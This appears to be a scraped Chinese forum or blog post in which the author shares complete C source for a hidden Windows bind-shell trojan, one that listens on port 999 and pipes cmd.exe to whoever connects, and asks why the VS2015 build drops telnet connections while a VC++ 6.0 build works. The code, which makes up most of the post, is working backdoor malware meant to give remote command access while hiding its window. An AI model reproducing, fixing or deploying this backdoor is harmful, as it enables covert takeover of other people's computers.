mini

来源:互联网 发布:js获取class为a的div 编辑:程序博客网 时间:2024/05/01 09:45
#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include<windows.h>
#define MasterPort 999
main()
{
WSADATA WSADa;
struct sockaddr_in SockAddrIn;
SOCKET CSocket, SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255];


ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
ZeroMemory(&WSADa, sizeof(WSADATA));


GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));


WSAStartup(0x0202, &WSADa);


SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);


bind(CSocket, (struct sockaddr *)&SockAddrIn, sizeof(SockAddrIn));


listen(CSocket, 1);
iAddrSize = sizeof(SockAddrIn);


SSocket = accept(CSocket, (struct sockaddr *)&SockAddrIn, &iAddrSize);
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;


CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);


closesocket(CSocket);
closesocket(SSocket);
WSACleanup();


return 0;
}

我用VS2015编译运行生成exe文件在测试机上运行,如图


我看到别人的一篇文章中说是“运行之后没有任何窗口,没有任何提示。。。。

在测试机用cmd查看查看999端口也确实是LISTENING状态


在本机上用telnet命令连接


按下回车之后立刻返回了


有时也会出现一个telnet 123.207.182.83的框 但是按下任何键也都会返回 

测试机上的999端口也变成了TIME_WEIT.


这是什么情况 不能用VS2015写这样的程序吗 一个木马程序运行后怎么应该出现框这么明显的东西呢 难道要根据书上用VC++ 6.0才行吗 有路过的大神看看我是哪里错了 感激不尽

经测试该段代码用VC++ 6.0编译能够连接

测试机